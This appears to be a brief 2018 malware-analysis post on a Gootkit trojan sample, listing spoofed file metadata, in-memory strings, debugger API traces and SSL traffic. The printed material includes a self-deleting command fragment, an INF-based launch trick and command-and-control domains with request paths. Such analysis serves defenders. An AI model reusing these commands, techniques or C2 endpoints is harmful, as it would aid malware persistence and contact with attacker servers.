My Online Security @dvk01uk #gootkit https://twitter.com/dvk01uk/status/980835227554721803 https://www.hybrid-analysis.com/sample/c71b7e669e5c614551ccd7157785d3e0e0c79277c1b65a1ce90732bc8f87b430?environmentId=100 runs cpu up to high % , uses up to 7mb memory, then stops ------------ random file properties ------------ OriginalFilename,Ascend.exe LegalTrademarks,Adobe Systems Incorporated Copyright ©. 1999 - 2014 file-description,Sexting Micrn Shuttle Specularmaterial Bitlocker Irowset ------------ interesting in-memory strings ------------ 0x127d1c (11): mp3 (*.mp3) 0x54fa3f0 (72): /c ping localhost -n 4 & del /F /Q " 0x54fa44c (22): & move /Y " 0x54fa464 (20): .update" " 0x54fa47c (22): " > nul & " 0x54fa50c (18): MP3 file corrupted 0x556b430 (60): \SystemRoot\system32\mstsc.exe 0x556b4c8 (312): [Version] signature = "$CHICAGO$" [DefaultInstall] RunPreSetupCommands = %s:2 0x55c957f (21): 1$1+161>1E1R1\1c1i1p1 04BAFB24 0030B168 "RandomListenPortBase" 04BAFB28 04BAFD3C "6000" <-- securityintelligence.com blog says this is gootkit's default http proxy port RunPreSetupCommands = xhkecdteryxu:2 ------------- interesting file contents [executable name].inf ------------- [Version] signature = "$CHICAGO$" AdvancedINF = 2.5, "You need a new version of advpack.dll" [DefaultInstall] RunPreSetupCommands = xhkecdteryxu:2 [xhkecdteryxu] C:\Users\Win732\Desktop\gootkit - Copy.exe ------------------------- interesting api calls ------------------------- 0A759140 | 50 | push eax | eax:"safenetssl.com" 0A759141 | FF 15 EC B2 76 0A | call dword ptr ds:[<&gethostbyname>] | 04DAF990 0030B368 L"GET" 04DAF994 0030B348 L"/rbody320" 0A759B75 | FF 15 CC B2 76 0A | call dword ptr ds:[<&WinHttpOpenRequest | 0A75CB43 | 52 | push edx | edx:L"https://safenetssl.com:80/" 0A75CB44 | FF 15 A8 B2 76 0A | call dword ptr ds:[<&WinHttpCrackUrl>] | 0A758754 | 8B 4D EC | mov ecx,dword ptr ss:[ebp-14] | [ebp-14]:"securesslweb.com" 0A758757 | 51 | push ecx | ecx:&"/rpersist4/%d" 0A760DB3 | 50 | push eax | eax:L"C:\\Users\\xxx\\Desktop\\[executable].exe --vwxyz" 0A760DB4 | 6A 00 | push 0 | 0A760DB6 | FF 15 0C B2 76 0A | call dword ptr ds:[<&CreateProcessW>] | --------------- strings from ssl traffic --------------- safenetssl.com. ...........................Y...U..;b...7__..-DFX..2E.S..=.0i....}. .$...w|.....7.CWi...vW..?1A......... .................Q...M..J..G0..C0.... .........0 . *.H.. .....0f1.0 ..U....IA1.0 ..U....unuvoo1.0...U. ..otufool1.0...U....cumee.cn1!0.. *.H.. . ...dootatojo@tehe.edu0.. 180402212052Z. 180502212052Z0f1.0 ..U....IA1.0 ..U....unuvoo1.0...U. ..otufool1.0...U....cumee.cn1!0.. *.H.. . ...dootatojo@tehe.edu0..0
Monday, April 2, 2018
Gootkit sample
https://pastebin.com/raw/krzPtYEb
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